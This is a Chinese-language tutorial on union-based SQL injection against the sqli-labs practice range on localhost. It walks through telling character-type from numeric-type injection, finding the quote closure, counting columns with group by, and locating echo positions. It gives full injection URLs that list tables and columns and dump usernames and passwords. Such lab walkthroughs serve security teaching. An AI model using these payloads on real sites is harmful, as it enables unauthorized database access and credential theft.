一、测试靶场与使用工具
浏览器:火狐浏览器--Firefox
靶场:sqli-labs
使用插件:HackBar
操作环境:phpstudy
二、判断字符型注入与数字型注入
操作步骤:
1、用F12打开控制台,打开HackBar, Loar URL,将当前靶场的URL信息复制到操作台上
2、输入?id=1,观察到页面发生变化,显示的是id=1时数据库中的信息,?是用来分割URL和查询字符串的,查询到了id=1时的用户登录名与登录密码
3、目前还不确定是字符型注入还是数字型注入,我们将id分别改为 id=2 和 id=2-1,若为数字型注入,则 id=2-1 时,页面应与 id=1 时的页面一致,若不一致,则证明为 字符型注入
id=2时:
id=2-1时:
由观察上图可知:id=2-1时页面与id=2时页面一致,与id=1时页面不一致,说明为字符型注入。若id=2-1的页面与id=1时的界面相同,则说明为数字型注入。
三、找到字符型的闭合方式
字符型闭合方式分为四种:' `` ') ")
经过尝试之后我们可以找到符合要求的字符型闭合方式,并在后加上 --+,否则会报错。
http://localhost/Less-1/?id=1' --+
四、正式开始Union注入
--- 共分为五个步骤:
1、找到注入点
2、判断是 字符型注入 \ 数字型注入
3、若是字符型注入,找到它的闭合方式
4、判断查询列数 group by \ order by
5、查找回显位置 令 id=-1 \ id=0
--- 判断查询列数
使用 group by 语句,先令 group by 10, 若不符合条件,则利用二分逼近的方法,逼出最终的答案。
当group by 10时,页面黄字提示报错
经过二分逼近,最终得出结论,查询列数=3
--- 查找回显位置
使用如下语句:
http://localhost/Less-1/?id=-1' union select 1,2,3 --+
为什么要将id改为-1:若id=1,那么页面将显示表中第一行数据,只有id的值在表中不存在,那么页面中将显示我们自己要查询的值,借此我们可以找到回显位。
--- 注入命令,盗取账号和密码
1、首先使用database()函数,借助回显位可以看到当前使用的数据库名称为 'security'。
2、利用SELECT查询语句,查询数据库security中的表都有哪些。
查询过程中要使用 group_concat()函数,否则只会显示一个表名的信息。
http://localhost/Less-1/?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() --+
3、利用SELECT查询语句,查询 表User 中的列 column 都有哪些。
http://localhost/Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
观察到 表User 由三列构成 -- id -- username -- password, 我们的目标就是拿到用户的 username 和 password。
4、利用SELECT查询语句 将用户的 username 和 password 显示到 回显位上。
http://localhost/Less-1/?id=-1' union select 1,2, group_concat(username, '~', password) from users --+
得到用户名与密码,目的达成。
五、若为数字型注入
若注入方式为数字型注入,则不必找到它的闭合方式 与 --+,其他步骤 = 字符型注入。